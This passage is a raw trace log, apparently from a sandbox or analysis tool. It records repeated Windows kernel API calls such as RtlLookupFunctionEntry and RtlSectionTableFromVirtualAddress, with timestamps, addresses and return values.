ControlPc=0xfffff960002bc8c8, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004c1608 [0191.637] RtlLookupFunctionEntry (in: ControlPc=0xfffff9600021c760, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004ba834 [0191.637] RtlLookupFunctionEntry (in: ControlPc=0xfffff960003c6478, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004cfd74 [0191.637] RtlLookupFunctionEntry (in: ControlPc=0xfffff960003c6478, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004cfd74 [0191.637] RtlLookupFunctionEntry (in: ControlPc=0xfffff960002b9120, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004c132c [0191.637] RtlLookupFunctionEntry (in: ControlPc=0xfffff960003c6478, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004cfd74 [0191.637] RtlLookupFunctionEntry (in: ControlPc=0xfffff960003c6478, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004cfd74 [0191.637] RtlLookupFunctionEntry (in: ControlPc=0xfffff9600025ce7c, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004bd3a8 [0191.637] RtlLookupFunctionEntry (in: ControlPc=0xfffff9600026a68c, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004bde64 [0191.637] RtlLookupFunctionEntry (in: ControlPc=0xfffff96000204a40, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004b988c [0191.637] RtlLookupFunctionEntry (in: ControlPc=0xfffff96000236b90, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004bb7d0 [0191.637] RtlLookupFunctionEntry (in: ControlPc=0xfffff960002b59bc, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004c108c [0191.637] RtlLookupFunctionEntry (in: ControlPc=0xfffff96000272244, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004be4c4 [0191.637] RtlLookupFunctionEntry (in: ControlPc=0xfffff96000274300, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004be620 [0191.637] RtlLookupFunctionEntry (in: ControlPc=0xfffff960002a6ccc, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004c057c [0191.637] RtlLookupFunctionEntry (in: ControlPc=0xfffff960002b14f0, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004c0dbc [0191.637] RtlLookupFunctionEntry (in: ControlPc=0xfffff9600012c04c, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0x0 [0191.637] RtlLookupFunctionEntry (in: ControlPc=0xfffff960002a7090, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004c05b8 [0191.637] RtlLookupFunctionEntry (in: ControlPc=0xfffff96000297578, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004bfcd0 [0191.637] RtlLookupFunctionEntry (in: ControlPc=0xfffff960002bf05c, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004c18c0 [0191.637] RtlLookupFunctionEntry (in: ControlPc=0xfffff96000288cdc, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004bf5a4 [0191.637] RtlLookupFunctionEntry (in: ControlPc=0xfffff9600024f560, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004bc844 [0191.637] RtlLookupFunctionEntry (in: ControlPc=0xfffff96000188788, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004b5710 [0191.637] RtlLookupFunctionEntry (in: ControlPc=0xfffff96000209bb4, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004b9ac0 [0191.637] RtlLookupFunctionEntry (in: ControlPc=0xfffff960002bdd18, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004c1728 [0191.637] RtlLookupFunctionEntry (in: ControlPc=0xfffff960002781e4, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004bea10 [0191.637] RtlLookupFunctionEntry (in: ControlPc=0xfffff960001acd70, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004b68c8 [0191.637] RtlLookupFunctionEntry (in: ControlPc=0xfffff960002604c4, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004bd660 [0191.637] RtlLookupFunctionEntry (in: ControlPc=0xfffff96000188ac0, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004b5728 [0191.638] RtlLookupFunctionEntry (in: ControlPc=0xfffff96000271840, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004be434 [0191.638] RtlLookupFunctionEntry (in: ControlPc=0xfffff960002337e0, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004bb530 [0191.638] RtlLookupFunctionEntry (in: ControlPc=0xfffff960000f996c, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004b1810 [0191.638] RtlLookupFunctionEntry (in: ControlPc=0xfffff960000fcef0, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004b1aa4 [0191.638] RtlLookupFunctionEntry (in: ControlPc=0xfffff960001031d0, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004b1d38 [0191.638] RtlLookupFunctionEntry (in: ControlPc=0xfffff9600024ef84, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004bc82c [0191.638] RtlLookupFunctionEntry (in: ControlPc=0xfffff96000356470, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004cb454 [0191.638] RtlLookupFunctionEntry (in: ControlPc=0xfffff9600018b278, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004b58cc [0191.638] RtlLookupFunctionEntry (in: ControlPc=0xfffff9600018b530, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004b58fc [0191.638] RtlLookupFunctionEntry (in: ControlPc=0xfffff9600018a974, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004b5854 [0191.638] RtlLookupFunctionEntry (in: ControlPc=0xfffff960003f0014, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004d1178 [0191.638] RtlLookupFunctionEntry (in: ControlPc=0xfffff960002bb320, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004c14e8 [0191.638] RtlLookupFunctionEntry (in: ControlPc=0xfffff9600025e694, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004bd4d4 [0191.638] RtlLookupFunctionEntry (in: ControlPc=0xfffff96000255db4, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004bcd00 [0191.638] RtlLookupFunctionEntry (in: ControlPc=0xfffff960002b6850, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004c1128 [0191.638] RtlLookupFunctionEntry (in: ControlPc=0xfffff960001f9cd0, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004b9250 [0191.638] RtlLookupFunctionEntry (in: ControlPc=0xfffff960001b05dc, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0x0 [0191.638] RtlLookupFunctionEntry (in: ControlPc=0xfffff9600028e568, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004bf844 [0191.638] RtlLookupFunctionEntry (in: ControlPc=0xfffff960002666fc, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004bdaec [0191.638] RtlLookupFunctionEntry (in: ControlPc=0xfffff9600018b3e8, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004b58e4 [0191.638] RtlLookupFunctionEntry (in: ControlPc=0xfffff9600026ebf8, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004be1b8 [0191.638] RtlLookupFunctionEntry (in: ControlPc=0xfffff960002b5b84, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004c10b0 [0191.638] RtlLookupFunctionEntry (in: ControlPc=0xfffff96000355b84, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004cb3d0 [0191.638] RtlLookupFunctionEntry (in: ControlPc=0xfffff960000fb1e0, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004b193c [0191.638] RtlLookupFunctionEntry (in: ControlPc=0xfffff96000122f30, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004b286c [0191.638] RtlLookupFunctionEntry (in: ControlPc=0xfffff960001244c4, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004b29d4 [0191.638] RtlLookupFunctionEntry (in: ControlPc=0xfffff96000100400, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004b1cc0 [0191.640] RtlLookupFunctionTable () returned 0xfffff960004b1000 [0191.640] RtlImageNtHeader (BaseAddress=0xfffff960000e9000) returned 0xfffff960000e90f8 [0191.640] ExAllocatePoolWithTag (PoolType=0x0, NumberOfBytes=0x4493f, Tag=0x63536c41) returned 0xffffe0000024d000 [0191.640] ExFreePool (P=0xffffe000002bf000) [0191.640] ExAcquireSpinLockSharedAtDpcLevel (in: SpinLock=0xfffff803fd547480 | out: SpinLock=0xfffff803fd547480) [0191.640] ExReleaseSpinLockSharedFromDpcLevel (in: SpinLock=0xfffff803fd547480 | out: SpinLock=0xfffff803fd547480) [0191.640] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.641] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.641] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.641] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.641] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.641] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.641] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.641] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.641] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.641] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.641] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.641] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.641] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.641] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.641] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.641] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.641] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.641] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.641] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.641] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.641] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.641] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.641] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.641] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.641] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.641] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.641] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.641] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.641] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.641] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.641] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.641] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.641] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.641] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.641] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.641] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.641] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.641] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.641] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.641] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.641] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.641] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.641] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.641] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.641] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.641] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.641] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.642] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.642] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.642] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.642] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.642] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.642] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.642] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.642] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.642] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.642] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.642] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.642] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.642] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.642] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.642] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.642] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.642] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.642] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.642] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.642] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.642] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.642] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.642] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.642] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.642] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.642] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.642] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.642] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.642] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.642] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.642] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.642] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.642] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.642] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.642] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.642] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.642] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.642] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.642] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.642] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.642] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.642] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.642] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.642] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.642] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.642] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.642] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.642] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.642] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.643] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.643] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.643] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.643] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.643] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.643] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.643] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.643] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.643] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.643] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.643] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.643] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.643] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.643] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.643] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.643] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.643] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.643] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.643] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.643] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.643] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.643] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.643] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.643] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.643] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.643] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.643] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.643] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.643] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.643] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.643] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.643] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.643] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.643] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.643] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.643] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.643] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.643] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.643] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.643] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.643] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.644] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.644] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.644] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.644] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.644] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.644] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.644] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.644] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.644] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.644] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.644] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.644] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.644] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.644] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.644] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.644] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.644] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.644] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.644] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.644] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.644] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.644] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.644] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.644] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.644] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.644] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.644] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.644] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.644] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.644] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.644] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.644] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.644] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.644] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.644] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.644] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.644] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.644] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.644] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.644] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.644] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.644] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.644] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.644] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.644] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.644] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.644] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.644] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.645] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.645] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.645] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.645] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.645] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.645] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.645] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.645] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.645] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.645] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.645] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.645] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.645] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.645] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.645] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.645] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.645] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.645] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.645] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.645] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.645] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.645] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.645] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.645] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.645] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.645] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.645] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.645] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.645] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.645] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.645] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.645] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.645] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.645] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.645] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.645] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.645] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.645] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.645] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 